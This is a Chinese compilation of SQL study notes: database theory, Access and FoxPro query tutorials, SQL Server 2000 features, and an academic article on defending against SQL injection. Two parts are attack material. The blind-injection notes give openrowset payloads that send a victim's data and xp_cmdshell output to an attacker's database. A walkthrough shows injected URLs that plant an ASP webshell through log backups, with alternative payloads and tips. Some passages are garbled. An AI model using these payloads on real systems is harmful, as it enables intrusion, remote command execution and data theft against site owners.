sql学习与总结(11篇)
1.sql学习与总结 篇一
第一章
绪论
1.基本概念
(1)数据库;(2)数据库管理系统;(3)数据库系统;(4)实体;(5)属性;(6)码;(7)域;
(8)实体型;(9)实体集;(10)联系(1:1)(1:n)(m:n)(11)现实世界、观念世界(信息世界)、数据世界
2.数据管理技术的发展阶段
人工管理阶段、文件系统阶段、数据库系统阶段和高级数据库技术阶段等各阶段的特点。3.数据库系统的特点
(1)数据结构化
(2)共享性高,冗余度低,易扩充
(3)独立性高
(4)由DBMS统一管理和控制 4.DBMS的数据控制功能
(1)数据的安全性保护
(2)数据的完整性检查
(3)并发控制
(4)数据库恢复 5.数据模型的组成要素
数据结构、数据操作、数据的约束条件 6.最常用的数据模型
层次、网状、关系、面向对象模型 7.关系模型
关系: 一张表 元组: 表中的一行 属性: 表中的一列
主码: 表中的某个属性组,它可以唯一确定一个元组 域: 属性的取值范围
分量: 元组中的一个属性值 关系模式: 对关系的描述。
表示为:关系名(属性1,属性2,…属性n)8.关系数据模型优缺点
(1)建立在严格的数学概念基础之上
(2)概念单一
(3)存取路径对用户透明 9.数据库系统的三级模式结构
内模式、外模式、模式
二级映射
10.数据库系统的组成 本章重要概念
(1)DB、DBMS和DBS的定义(2)数据管理技术的发展阶段
人工管理阶段、文件系统阶段、数据库系统阶段和高级数据库技术阶段等各阶段的特点。(3)数据描述 概念设计、逻辑设计和物理设计等各阶段中数据描述的术语,概念设计中实体间二元联系的描述(1:1,1:N,M:N)。
(4)数据模型
数据模型的定义,两类数据模型,逻辑模型的形式定义,ER模型,层次模型、网状模型、关系模型和面向对象模型的数据结构以及联系的实现方式。(5)DB的体系结构
三级结构,两级映象,两级数据独立性,体系结构各个层次中记录的联系。(6)DBMS(数据库管理系统)
DBMS的工作模式、主要功能和模块组成。
(7)DBS(数据库系统)
DBS的组成,DBA,DBS的全局结构,DBS结构的分类。
第二章
关系数据库
1.基本概念
关系,候选码,主码,主属性,非主属性,键 2.完整性约束
实体完整性、参照完整性、用户定义完整性 3.笛卡儿积 4.关系的性质
列是同质的
不同的列可出自同一个域,每一列为一个属性,不同的属性要有不同的属性名
列的顺序无所谓
任意两个元组不能完全相同 行的顺序无所谓
分量必须取原子值,即每一个分量必须是不可分的数据项
5.关系的完整性
实体完整性、参照完整性、用户定义的完整性 6.关系代数
(1)并、交、差、广义笛卡儿积
(2)选择
(3)投影
(4)连接:等值连接、自然连接
超键(Super Key):在关系中能惟一标识元组的属性集称为关系模式的超键。
候选键(Candidate Key):不含有多余属性的超键称为候选键。也就是在候选键中,若要再删除属性,就不是键了。
主键:(Primary Key):用户选作元组标识的一个侯选键称为主键。一般,如不加说明,则键是指主键。
外键:(Foreign Key):如果关系R中属性K是其他模式的主键,那么K在模式R中称为外键
例如:学生(学号,姓名,性别,驾驶证号)假定学生不重名 超键:(学号,姓名),(学号,性别),(学 号,姓名,性别),(姓名,性别)等等 候选键:学号,姓名
主键:你在数据库定义的时候,如果选择学号作为 键,那么学号就是候选键 外键:驾驶证号 本章的重要概念(1)基本概念
关系模型,关键键(主键和外键),关系的定义和性质,三类完整性规则,ER模型到关系模型的转换规则。(2)关系代数
五个基本操作,四个组合操作,七个扩充操作。
第三章
SQL语言
1.SQL的特点
综合统一
高度非过程化
面向集合的操作方式
以同一种语法结构提供两种使用方式
语言简洁,易学易用
2.表
(1)创建表 create table
create table student
(Sno char(5)not null,Sname char(20)unique,Ssex char(1),Sage int,Sdept char(15));(2)create table customer(customer_name char(20)not null,customer_street char(30),customer_city char(30),primary key(customer_name));
(3)create table account(account_number char(10)not null,branch_name char(15),balance
int,primary key(account_number),foreign key(branch_name)reference branch(branch_name),check(balance>=0));
(2)修改表 alter table
(3)删除表 drop table 3.索引
(1)创建索引 create index
(2)删除
drop index 4.查询 select
(1)格式
(2)单表查询:选择列、满足条件、排序、分组、集函数
(3)连接查询
(4)嵌套查询
IN、比较、(ANY 或 ALL)、EXISTS
(5)集合查询
5.更新数据
INSERT、UPDATE、DELETE 6.视图
(1)建立视图 Create view
(2)视图的作用 7.数据控制
(1)授权 Grant
(2)收回权限 Revoke 本章的重要概念
(1)SQL数据库的体系结构,SQL的组成。
(2)SQL的数据定义:SQL模式、基本表和索引的创建和撤销。
(3)SQL的数据查询;SELECT语句的句法,SELECT语句的三种形式及各种限定,基本表的联接操作,SQL中的递归查询。
(4)SQL的数据更新:插入、删除和修改语句。(5)视图的创建和撤销,对视图更新操作的限制。
(6)嵌入式SQL:预处理方式,使用规定,使用技术,卷游标,动态SQL语句。
第四章
关系数据库的规范化设计
1.函数依赖、部分函数依赖、完全函数依赖、传递依赖 2.1NF、2NF、3NF、BCNF 模式的分解
关系模式的分解需要遵循两个主要原则:
1.满足无损连接分解的要求。
2.既要满足无损连接分解的要求,又要满足保持函数依赖 无损分解的测试方法
算法4.3
无损分解的测试的算法:如何判断是否是无损分解 构造一张k行n列的表格,每列对应一个属性Aj(1≤j≤n),每行对应一个模式Ri(1≤i≤k)。如果Aj在Ri中,那么在表格的第i行第j列处填上符号aj,否则填上bij。
把表格看成模式R的一个关系,反复检查F中每个FD在表格中是否成立,若不成立,则修改表格中的值。修改方法如下:对于F中一个FD X→Y,如果表格中有两行在X值上相等,在Y值上不相等,那么把这两行在Y值上也改成相等的值。如果Y值中有一个是aj,那么另一个也改成aj;如果没有aj,那么用其中一个bij替换另一个值(尽量把下标ij改成较小的数)。一直到表格不能修改为止。(这个过程称为chase过程)
若修改的最后一张表格中有一行是全a,即a1a2…an,那么称ρ相对于F是无损分解,否则称损失分解。
无损分解的测试方法 第一范式(1NF)1NF的定义
如果一个关系模式R的所有属性都是不可分的基本数据项,则R∈1NF 即不能以集合、序列等作为属性值。第一范式是对关系模式的最起码的要求。不满足第一范式的数据库模式不能称为关系数据库 但是满足第一范式的关系模式并不一定是一个好的关系模式 第二范式(2NF)
(回顾)定义4.14 对于FD W→A,如果存在X⊂W有X→A成立,那么称W→A是局部依赖(A局部依赖于W);否则称W→A是完全依赖。完全依赖也称为“左部不可约依赖”。(回顾)定义4.15 如果A是关系模式R的候选键中属性,那么称A是R的主属性;否则称A是R的非主属性。
定义4.16 如果关系模式R是1NF,且每个非主属性完全函数依赖于候选键,那么称R是第二范式(2NF)的模式。如果数据库模式中每个关系模式都是2NF,则称数据库模式为2NF的数据库模式。第三范式(3NF)
(回顾)定义4.17 如果X→Y,Y→A,且Y→X和
A∈Y,那么称X→A是传递依赖(A传递依赖于X)。
定义4.18 如果关系模式R是1NF,且每个非主属性都不传递依赖于R的候选键,那么称R是第三范式(3NF)的模式。如果数据库模式中每个关系模式都是3NF,则称其为3NF的数据库模式。
将2NF的关系模式规范化为3NF的关系模式,其方法是消除2NF的关系模式中非键属性对键的传递依赖。
本章重要概念
(1)关系模式的冗余和异常问题。
(2)FD的定义、逻辑蕴涵、闭包、推理规则、与关键码的联系;平凡的FD;属性集的闭包;推理规则的正确性和完备性;FD集的等价。
(3)无损分解的定义、性质、测试;保持依赖集的分解。
(4)关系模式的范式:1NF,2NF,3NF,BCNF。分解成2NF、3NF模式集的算法。
第 五 章
数据库设计
1.数据库设计的六个阶段
需求分析、概念结构设计、逻辑结构设计物理结构设计、数据库实施、数据库运行和维护 2.需求分析:
数据字典:数据项、数据结构、数据流、数据存储和处理过程 3.概念结构设计
(1)是整个数据库设计的关键,它通过对用户需求进行综合、归纳与抽象,形成一个独立于具体DBMS的概念模型
(2)E-R图:基本表示方法 4.逻辑结构设计
是将概念结构转换为某个DBMS所支持的数据模型,并对其进行优化 5.物理设计
(1)为逻辑数据模型选取一个最适合应用环境的物理结构(包括存储结构和存取方法)6.实施阶段
设计人员运用DBMS提供的数据语言及其宿主语言,建立数据库,编制与调试程序,组织数据入库,并进行试运行 7.运行和维护阶段
数据库应用系统经过试运行后即可投入正式运行。 重构,重组织 本章重要概念
(1)DBS生存期及其7个阶段的任务和工作,DBD过程的输入和输出。(2)概念设计的重要性、主要步骤。逻辑设计阶段的主要步骤。
(3)ER模型的基本元素,属性的分类,联系的元数、连通词、基数。采用ER方法的概念设计步骤。
(4)ER模型到关系模型的转换规则。采用ER方法的逻辑设计步骤。(5)ER模型的扩充:弱实体,超类和子类。
第 七 章 系统实现技术
1.事务
(1)概念
(2)特性:原子性、一致性、隔离性、持续性 2.故障种类事务
内部的故障、系统故障、介质故障 3.恢复的实现技术
(1)数据转储:转储状态、转储方式
(2)日志:基本格式和内容、日志的作用、登记日志文件 并发控制
1.问题:
丢失修改、不可重复读、读“脏”数据 2.封锁
共享锁、排它锁 3.一级封锁协议
(1)事务T在修改数据R之前必须先对其加X锁,直到事务结束才释放
(2)解决的问题:防止丢失修改 4.二级封锁协议
(1)一级封锁协议加上事务T在读取数据R前必须先对其加S锁,读完后即可释放S锁
(2)解决的问题:防止丢失修改、防止读“脏”数据 5.三级封锁协议
(1)一级封锁协议加上事务T在读取数据R前必须先对其加S锁,直到事务结束才释放。
(2)解决的问题:防止丢失修改、防止读“脏”数据、防止不可重复读 6.活锁和死锁
(1)死锁的预防:一次封锁法,顺序封锁法(2)死锁的诊断:超时法,等待图法(3)死锁的解除:选择一个处理死锁代价最小的事务,将其撤消,释放此事务持有的所有锁,使其它事务得以继续进行下去。本章重要概念
事务的定义,COMMIT和ROLLBACK的语义,事务的ACID性质
恢复的定义、基本原则和实现方法,故障的类型,检查点技术,REDO和UNDO操作,运行记录优先原则。
并发操作带来的三个问题,X锁、S锁、活锁、饿死和死锁
完整性的定义,完整性子系统的功能,完整性规则的组成。SQL中的三大类完整性约束,SQL3中的触发器技术。
安全性的定义、级别,权限,SQL中的安全性机制,几种常用的安全性措施,自然环境的安全性。
2.sql学习与总结 篇二
1 SQL查询功能子句
SQL是Structure Query Language的英文简写,意思是结构化查询语言。SQL语言包含三大部分:
(1)数据定义语言(DDL):用来定义和管理如数据库、表等数据库对象。
(2)数据操作语言(DML):用于检索和操作数据。
(3)数据控制语言(DCL):用于控制对数据库对象操作的权限。
本文主要阐述SQL语句中数据操作语言的查询功能。SQL语句查询各功能子句基本结构如下:
SELECT查询结果中的字段列表
FROM查询所用到的表的列表/联接条件
WHERE检索满足的条件
ORDER BY排序字段(asc升序、desc降序)
GROUP BY分组字段
HAVING限制分组条件(和GROUP BY搭配使用)
利用ACCESS建立教学管理.mdb,再创建以下六个数据表。
以教学管理.mdb数据库为基础,按各功能子句来归纳总结。
1.1 Select子句
(1)“觹”的使用
使用“觹”代表在查询集中显示查询所用到表中的所有字段。
例1:查询籍贯是北京的学生的所有字段信息。
select觹from学生
where籍贯='北京'
(2)别名的使用
表中的字段名经常使用英文,但为了使结果中的字段名更好地理解,常给原英文字段名取个别名;或者字段名是中文,结果中用其他字段名显示,都可以使用别名方式。
在SQL语句中,有几种别名的使用方式,这里只采用在各数据库中通用的方式:Select字段名as新字段名
例2:查询籍贯是“北京”的学生学号、姓名,结果字段名显示为学生编号、学生姓名。
select学号as学生编号,姓名as学生姓名from学生where籍贯=“北京”
(3)Distinct的使用
例3:招收了哪些籍贯的学生。select籍贯from学生
运行结果如图1所示。
结果中的籍贯值出现了重复,学生表有多少条记录,就出现相应数量的籍贯值。如果想消除重复值可以使用distinct,把它放在所要消除的字段名前面。改为:select distinct籍贯from学生,结果如图2所示。这样就只显示不重复的籍贯值,符合我们的要求。
(4)计算字段
在查询结果中经常需要看到统计数字,可以使用函数或表达式来完成计算功能。
例4:统计籍贯是北京的学生人数。select count(觹)as人数from学生
where籍贯=“北京”
例5:成绩表(学号,姓名,语文,数学,计算机),要查询各个学生的总分。
Select学号,姓名,(语文+数学+计算机)as总分From成绩表
1.2 From子句
把查询所用到的所有表,利用逗号隔开放在from后面。
例6:查询“胡兰”所选修的课程名称。
王海是学生姓名,姓名信息在学生表中;结果要显示课程名称,只能通过课程表获取;但是这两个表在数据库中没有直接联系,需要通过选课表做中介。这样该查询需要用到学生、课程、选课三个表。
Select课程名称
From学生,课程,选课
Where学生.学号=选课.学号and课程.课程编号=选课.课程编号and姓名=“胡兰”
/此句在后面阐述
1.3 Where子句
基本上大部分的查询语句都是在同时满足多个条件的基础上执行的,查询的条件放在where子句中,多个需同时满足的条件之间用and连接。例5需要满足的条件1:姓名=“胡兰”;因为查询用到了三个表,在这三个表之间进行查找信息应当是在对应字段值相等的时候进行,所以有两个连接条件:学生.学号=选课.学号and课程.课程编号=选课.课程编号。结果书写为:
Select课程名称
From学生,课程,选课
Where学生.学号=选课.学号and课程.课程编号=选课.课程编号and姓名=“胡兰”
在where子句中通常还会用到子查询,子查询的意思是一个查询语句在执行过程中借助了另一个查询语句(子查询)的结果作为中介值。
例7:查询大于平均年龄的学生姓名。Select姓名,年龄
From学生
Where年龄>(select avg(年龄)from学生)
/只有通过一个查询语句(子查询)才能获取到平均年龄
1.4 order by子句
order by子句是用来进行排序,查询的结果往往需要按照一定的规则排序,按升序排列用asc修饰,降序用desc。
若结果按姓名升序排列,写为order by姓名(默认按姓名升序排列)或者order by姓名asc。如果要降序,则写为order by姓名desc。若按多个字段排序,则把多级排序字段用逗号隔开,各个字段分别有升降序的方式。
例8:查看学生记录,结果按籍贯升序排列,籍贯相同的再按性别降序排序,籍贯相同且性别相同的按姓名升序排列。
Select
From学生
Order by籍贯asc,性别desc,姓名asc
1.5 group by子句
group by用来进行分组。把分组用到的字段放在group by后面。通常进行分组还需要满足一定的条件才分组,我们可以在group by子句后面紧接着使用having接分组条件。
例9:查询各地区学生的平均年龄。Select籍贯,avg(年龄)as平均年龄
From学生
Group by籍贯
例10:查询籍贯是“北京”的学生的平均年龄。Select籍贯,avg(年龄)as平均年龄
From学生
Group by籍贯
Having籍贯=“北京”
2 结束语
本文通过十个例子阐述了SQL常用的查询功能,针对高职院校学生注重动手实践能力的特点,在教学过程中主要让学生熟悉常用的查询功能,掌握查询精髓,为以后的软件设计、网页制作奠定基础。
参考文献
[1]教育部考试中心.全国计算机等级考试二级教程-Access数据库程序设计(2009年版).北京:高等教育出版社,2008-10.
[2]李春葆,曾平.数据库原理与应用-基于ACCESS.北京:清华大学出版社,2005-01.
[3]张俊玲.数据库原理与应用》.北京:清华大学出版社,2005-09.
3.SQL盲注总结 篇三
1.寻找并确认SQL盲注:
1.强制产生通用错误 2.注入带副作用的查询:
计时攻击(SQL Server:waitfor delay ‘time’;MySQL:sleep;PostgreSQL:pg_sleep)利用输出进行判断(and 1=2 或者 or 1=1)
3.拆分和平衡(利用不同数据库使用不同连字符进行判断)4.常见的盲注情景:
(1)提交错误sql语句返回内容可控的页面(2)提交错误sql语句返回内容可控的页面
(3)不产生错误页面,不会影响页面输出(一般需要使用基于时间的盲注)5.各数据库位操作符:
MySQL,PostgreSQL,SQL Server: 与(AND)或(OR)非(XOR): I&J I|J I^J 2.基于时间的SQL盲注技术:
1.SQL Server:waitfor delay ‘time’;MySQL:sleep;PostgreSQL:pg_sleep 2.PostgreSQL: 创建PL/pgSQL的延迟函数 3.二分法确认sql查询的值(脚本)
4.防止不可控的时间延时干扰判断:设置足够长的时间延时,远超正常值;同时发送两个请求语句,一个True时延迟,一个在False时延迟
3.基于响应的SQL盲注技术:
根据页面的相应判断True/False
多重判断语句 Case When something: Som..When something1: Som..1 或者case后两个查询一个(>)或(<),另一个为(=)
4.使用非主流通道:
1.数据库连接:
(1)SQL Server:使用openrowset函数连接远程数据库,使用insert语句将被攻击服务
器上的数据传到自己控制的服务器数据库上
insert into openrowset(‘sqloledb’,network=dbmsocn;address=你的ip;uid=你的username;pwd=password,’select * from attacker_table’)select name from
sysobject where xtype = ‘U’
也可以利用xp_cmdshell执行系统命令,将回显传回自己数据库中
insert into openrowset(‘sqloledb’,network=dbmsocn;address=你的ip;uid=你的username;pwd=password,’select * from attacker_table’)exec
master..xp_cmdshell ‘dir c:’
(2)PostgreSQL:启用dblink,利用dblink命令从攻击者数据库向被攻击者发送数据,但相
关系列函数仅对行进行操作,而不是结果集,需要编写依靠游标遍历数据的PL/pgSQL
函数
2.dns渗漏(常用):(1)dns的优点:(2)
4.sql学习与总结 篇四
但是在LOG备份中,我们经常会遇到一些很让我们头痛的问题,那就是闭合的问题,我在这里做个总结,也
好让我们对不能闭合的方法有一个全面的了解.
1.先介绍下LOG备份,这个相信大家都很熟悉了,我还是习惯在IE里直接提交,返回正常的页面就说这一步的操作就成功了,如果没有返回正常的页面,我们就可以根据IE返回的错误来找他的原因.(这里说下要将IE的错误提示给打开),LOG的格式如下所示:
www.site.com/xx.asp?id=xxx;alterdatabas...bsp;setRECOVERYFULL
www.site.com/xx.asp?id=xxx;create&...cmd(aimage)--
www.site.com/xx.asp?id=xxx;backuplogdatabasename...bsp;’c:cmd’withinit
www.site.com/xx.asp?id=xxx;insertintocmd(...lt;%%25Execute(request(“go”))%
%25>’)--
www.site.com/xx.asp?id=xxx;backuplogdatabasen...;=’x:xxxxxxasp1.asp’--
www.site.com/xx.asp?id=xxx;droptablecmd--
分为6步操作,最容易出错的就是第4步的操作,经常返回没有闭合的问题,下面就是一些我们可以将
values中的内容可以进行更换的方式,当我们的一种方式不行的话,就可以换另一种方式,当所有的方式
都换完了,没有什么好说的,要么就放弃,要么就换另一种方式继续,想列目录找数据库下载,后台.这
里就不多说了,可以提换的内容有:
a).<%%25Execute(request(“go”))%%25>
b).<%Execute(request(“go”))%>
c).%><%executerequest(“go”)%><%
d).
e).<%25Execute(request(“l”))%25>
2.LOG备份要注意的一些问题:
a).要注意你现在的机器是不是WEB主机,简单的方法就是翻他的目录,看有没有IIS安装的文件
b).当你确定你要找的确实是WEN主机时,就可以找他的站点目录了,这个也很重要,是步骤5的操作,如果备份到一个错误的目录,当然就没有办法访问了
c).备份成功后,你就eBF梢允4着用客户端去连接,这个地方也有人弄错,现在用的字段是go,你的客户端的
相关字段也为go
d).用ececute正常备份出来的是用错误提示的,当你的显示500错误时,请你将的IE错误提示打开,当显示
MicrosoftVBScript运行时错误错误’800a000d’
类型不匹配:’execute’
时候表示你已经成功了,连接吧!!
e).还有极端的时候你备份出来的一句话被杀(当你确定你确实是备份在WEB主机的对应目录是),你可以将
5.sql学习与总结 篇五
1、新建数据库AA :create database AA2、打开数据库AA :open databaseAA3、选择AA为当前数据库:set database to AA4、修改数据库AA:Modify database AA5、删除数据库AA :Delete database AA6、新建项目AA :Create projectAA7、数据库变为自由表 :removetable8、自由表添加成数据库:addtable
表的相关操作:
1、给表中某个字段增加~:replace 字段 with 基本工资*1.2for 性别=”女”
2、建立索引命令 :indexon 索引表达式 tag 索引名 索引类型 排序类型
3、定义候选索引 :altertable 表名 addunique 定义的字段 Tag 索引名
4、打开表设计器修改表结构 :modifystruction5、添加字段修改表结构:altertable 表名 add条件例子:altertable 职工表 alter 基本工资 set
cehck 基本工资>8006、新建(自由)表:Create table 表名(free)条件{primary key(主关键字)check(有效性规则)error(出
错信息)default(默认值)}
7、插入添加记录 :Inserinto 表名(字段1,字段2~~)values(表达式1~~)
8、将某个表结构复制到AA :use 职工表/copystructiontoAA9、更新表的记录|把~~改为~:update 表名 set更新表达式 where 更新条件
10、表记录的删除 :deletefrom 表名 where 条件新建视图:create view 视图名 asselect语句 表单操作:
1、新建表单 createform AA2、修改表单 modify form AA3、执行表单do fromAA4、关闭表单thisform.release
表单属性:(caption 标题,name 控件名、表单名,保存的名字~文件名)
1、Alwaysontop {.F.} 位于其他窗口最上方 2、Autocenter{.F.}自动在窗口居中显示
3、closable 关闭按钮
4、morable {.T.} 是否能移动
5、scrollbars表单滚动条类型
6、windowstate表单状态
7、wind owtype 表单窗口模式
8、refresh刷新表单
表单方法:
1、show 显示表单 ~visible属性为.F.成为活动对象
2、hide 隐藏表单
基本控件:
一、命令按钮:
1、default 相应按钮与回车键绑定cancel 相应按钮与ESC绑定
2、enabled可用与不可用
3、visible 可见与不可见
二、文本框:
1、controlsource 数据源
2、value 初始值
3、passwordcha密码占位符显为*
4、Inputmask 输入格式
三、编辑框:
1、hideselection 是否仍显示为选定状态
2、Readonly {.T.}只读状态
3、scrollbars 滚动条的类型
4、seltext 所选内容
5、selLength 所选文本字符数
四、复选框:caption 标题controlsource 绑定的数据源value 选择状态
五、列表框:
1、rowsourcetype数据源类型rowsource条目是数据源
2、columncount 列数
3、controlsource 要绑定的数据源
4、value被选中条目
5、multiselect是否进行多重选定
6、listcount 数据条目的数目
8、selected 某个条目是否处于选定状态
陆、组合框style 模式0-下拉组合框 2-下拉列表框
七、容器控件
1、命令组:buttoncount按钮数目buttons 各按钮数目value 当前状态
2、选项组:Buttoncount 按钮数目buttons各按钮数目value值controlsource绑定数据源
3、页框:pagecount 页面数目Page页对象tabs是否显示页面标题栏
6.SQL注入攻击问题与策略研究 篇六
SQL注入过程都是通过WWW端口进行访问, 从表面看与一般的Web页面访问没有根本的区别。从防火墙方面分析, 不会对SQL注入攻击发出报警动作, 从管理员角度分析, 没有习惯查看IIS日志, 导致SQL注入攻击很长时间都没法被发现。从SQL注入攻击的手法角度看, 由于注入方法灵活性强, 注入过程中会遇到一些意外的情况发生, 构造巧妙的SQL语句是进行注入攻击的重要途径, 只有构造巧妙的SQL语句, 才能获取自己想要的数据, 需要从SQL注入攻击的背景角度分析, 找到防御SQL注入攻击的相应途径。
1 SQL注入攻击的背景分析
随着计算机技术的高速发展, 很多网络威胁已经成为人们面临的重要问题。复杂的网站威胁技术已经影响到人们正常获取网络信息的途径, 通过Internet执行各种恶意代码, 产生各种恶意活动, 比如私密信息窃取、身份窃取、宽带资源占用等。恶意代码潜入网络之后, 自身还可以不断地扩展, 甚至不断更新相关程序, 此类活动的产生是利用用户的好奇心理完成的。用户无法判断程序的来源, 最后潜入用户的PC中对用户信息进行访问和获取。随着网上银行等业务的发展, 恶意代码进入程序后会窃取用户的密码, 转移帐户资金, Web威胁已经成为网络安全的突出问题, 并且还在进一步地演化。
网站威胁目标定位存在多样性, 威胁也是多维的, 不管对个人或者公司都会产生重要的影响。随着网络服务多样性的发展, 网络攻击的动机和原因也会产生不同的形态, 攻击多形态性已经成为攻击的重要特征。当前情况下攻击主要包括蠕虫、僵尸、间谍软件、病毒、特洛伊、下载程序、漏洞利用、社会工程、黑客、rootkit等, 攻击的结果会导致用户的重要信息被破坏, 用户所需要的服务被拒绝, 从Web威胁的来源看, 分为外部攻击和内部攻击, 内部攻击主要是对网络信任, 或者用户执行了为授权访问等策略, 外部攻击主要是网络漏洞产生的或者用户被设计好的恶意代码攻击产生的。
2 SQL注入攻击的网络分析
SQL注入攻击是一种网络漏洞, 此种漏洞对整个网络信息安全产生重要的威胁, 从Web程序开发人员的角度分析, 需要从技术、平台、数据层等方面加以控制, 从开发的方面看, 此方面很难受到程序员的关注, 因此注入攻击漏洞会产生。通过Search API建了一个C#的客户端程序来检验漏洞, 找出容易受到Web攻击的网站。具体步骤主要分为:①需要找到带查询字符串的网站, (例如, 查询一些在URL里附带有 "id=" 的URL) ;②可以给此类有动态网站的站点发送一个请求, 改变相关信息的id=语句, 最后产生一个额外的单引号, 达到取消其中的SQL语句的根本目的 (例如, 如id=6′) ;③分析相应的返回结果, 按照查找“SQL”和“query”类型的词;④通过检查错误消息检测, 可以看出发送到SQL服务器的参数没有被正确加码 (encoded) , 如果结果成立, 则可对该网站进行SQL注入攻击。
SQL注入攻击产生是多种原因引起的, 其中常见的原因可以分为, 动态构造SQL语句, 但是具体操作过程中没有正确地加了码 (encoded) 的参数。比如对某一个SQL查询的编码进行分析, 最终目的是按照查询字符串提供的号码 (SSN) 来查询作者 (Authors) :
Dim SSN as String
Dim SqlQuery as String
SSN = Request.QueryString ("SSN")
SqlQuery = "SELECT au_lname, au_fname FROM authors WHERE au_id = '" + SSN + "'"
通过对SQL语句进行分析, 利用号码查询作者的各种信息状态, 如果参数值在实用过程中没有实现正确的加码, 参数传递过程中黑客很容易修改字符串信息, 最后执行嵌加的SQL语句, SQL注入攻击对数据库的破坏很严重, 黑客在具体操作过程中可以不破坏数据库, 但是可以利用编码上的弱点, 操作过程中可以执行一个JOIN语句, 可以获取数据库中所有的信息, 所在Web页面上可以获取信用卡卡号、用户名、密码等重要信息, 通过添加UPDATE/INSERT 语句对产品价格进行相应的修改, 可以对管理员帐号进行添加, 导致数据库中的账目系统发生根本的变换, SQL注入攻击在数据库网络安全管理产生重要影响。
3 SQL注入攻击的防范
SQL注入攻击对网络系统会产生重要的影响, 不管是采取Web框架进行程序编写, 还是通过Web编程技术实施整个系统都需要遵循一定的规则。构造SQL动态语句的过程中, 需要采取类安全 (type-safe) 参数加码机制进行处理, 针对一些数据API, 主要包括ADO.NET或者ADO, 按照相关的支持策略, 按照提供参数的数据类型进行处理, 比如数据类型可分为整数、字符串、日期等, 但是保证参数被escaped/encoded, 为避免黑客利用, 可以进行相应的处理。
例如, 通过ADO.NET里对动态SQL处理, 可以按照相关的方法重写上述的语句保证安全:
Dim SSN as String = Request.QueryString ("SSN")
Dim cmd As new SqlCommand ("SELECT au_lname, au_fname FROM authors WHERE au_id = @au_id")
Dim param = new SqlParameter ("au_id", SqlDbType.VarChar)
param.Value = SSN
cmd.Parameters.Add (param)
为防止注入别的SQL表达式, 可以解决相关数据问题达到处理的目的, 比如对数据值的正确转换等问题达到防止注入SQL的目的。
系统部署过程中需要做安全审评 (security review) 工作。通过建立正确的安全评审过程 (formal security process) , 在系统数据全面更新的时候, 需对每一段代码进行更新操作。数据库中的敏感信息不要通过明文方式存放, 密码需要单向之后再进行存放处理, 一般情况下不需要加密后再存放, 默认设置的状态可以通过API自动完成, 同时可以实现安全的SALT随机化行为策略。数据库自动化单元测试是保证数据安全的重要策略, 可以从根本上保证数据层不受到SQL注入攻击的影响, 因为语句数据更新的每一个环节都可以被捕捉, 保证安全层数据的安全, 避免安全缺陷被植入安全层。通过SQL注入分析器对系统的安全策略进行分析, 按照自动化分析方法可以对用户名和密码进行分析处理。由于SQL注入攻击针对的是应用开发过程中的编程不严密, 因而对于绝大多数防火墙来说, 这种攻击是“合法”的。问题的解决只有依赖于完善编程。专门针对SQL注入攻击的工具较少, Wpoison对于用asp, php进行的开发有一定帮助, 因此SQL注入攻击策略对整个数据库、网络安全产生重要作用。
4 结束语
通过SQL注入攻击策略分析与研究, 可以设计有效的SQL注入分析器, 按照数据库安全审查策略分析代码, 保证SQL数据分析过程中按照正确的编程方式推进。SQL注入攻击可以很好地分析出编程中的不严密性, 为数据库安全访问提供了重要保证。
摘要:SQL注入攻击是计算机数据库安全方面的重要问题, 黑客通过SQL注入攻击对数据库进行非法访问。随着B/S系统的应用和发展, 按照此模式编写的应用程序越来越多, 但是程序编程过程中不同程序员的经验是不一样的, 代码编写过程中用户输入数据合法性判断方面存在问题, 导致用户输入数据信息安全性没有形成一个有效的判断标准, 程序安全隐患相对较多。实际应用过程中用户输入一段数据库查询代码, 程序的执行策略决定返回结果, 通过程序执行获取想要的结果, 通过所说的SQL Injection, 即SQL注入。通过数据库访问策略分析, 可以解决SQL注入攻击方面的问题。
关键词:SQL,注入攻击,恶意代码
参考文献
[1]石志国.计算机网络安全教程[M].北京:清华大学出版社, 2009.
[2]马明.SQL注入攻击应用[J].计算机应用, 2009 (9) .
[3]张涛.网络安全管理技术专家门诊[M].北京:清华大学出版社, 2009.
[4]卢昱.SQL数据库安全策略研究[J].计算机科学, 2010 (5) .
7.sql学习与总结 篇七
。网络特性成为建立电子商务、互联网、企业内部网的基础。SQL Server 2000 就提供了显著增强的网络功能来构建数据库解决方案。利用这些网络特性,用户可以将企业数据以安全、快捷、高效的方式,通过Web 页发布给企业内部相关部门或发布给客户群体。因此,本章主要介绍SQL Server 2000 这些最新的网络特性及其应用。SQL Server 2000 具有完备的Web 功能,企业既可以将数据存储在Web 页面上或XML 文档内,也可将其存储在数据库中,完全适合构建B2B (商业到商)业或 B2C (商业到客户)模式的电子商务,并且通过支持具有多层体系结构的客户/服务器模式为Web 应用提供高度的可扩展性和高可靠性。 SQL Server 2000 与 Windows DNA 2000平台一起“融洽”地工作,从而使各种规模的企业或组织能够在Web 上方便地与客户和供应商进行商业贸易并可以把老式系统集成到下一代的商业解决方案中去。除此之外,SQL Server 2000 可以协助公司更好地理解客户或供应商在Web 站点上的行为,并快速发现由数字经济所提供的新的商业机会。SQL Server 2000 的网络新特性主要表现在以下几个方面:<
SQL Server 2000 和BizTalk Server 2000 支持集成的XML 结构,允许通过 BizTalk Server 2000 ,直接从数据库应用程序中管理和发送文档;
数据挖掘功能可以自动地从大量的商业信息中进行筛选,帮助客户找出未被发现的新机会,预测在商业中制胜的策略。微软把数据挖掘引擎集成到了SQL Server 2000 的分析服务(即以前版本中的联机分析处理服务)中,从而极大地降低了这个先进而强有力工具的复杂性。分析服务包括了数据挖掘的聚类和决策树算法,并且可以通过OLE DB for Data Mining 很容易地由第三方厂商进行扩展;
SQL Server 2000 提供完全集成的、基于标准的XML, 支持它对于Web 开发人员和数据库程序员来说都是灵活、高效而且易于使用的,
不像其它同类数据库产品,SQL Server 2000 提供了强有力的工具来处理数据库中的 XML 元素,使开发人员不用编写代码、直接从数据库中取出基于XML 的数据;
SQL Server 2000 允许通过HTTP 协议,在Web 上进行高性能、基于标准的安全访问,并支持防火墙。基于Web 的客户端拥有访问关系型数据存储和访问分析服务的完全能力,那么我们如何利用这些新特性实施电子商务呢?很明显,首先是选取一个平台。SQL Server 2000 是微软Windows DNA 2000平台的一部分,这个平台不仅可以实现在线商务,也可以实现多层的应用。与Commerce Server 2000 、微软Host Integration Server 2000、 微软BizTalk Server 2000 以及微软Application Center 2000 这样的产品一起,用户可以建立一套完整的、可伸缩性高、可靠性高的电子商务网站的解决方案。
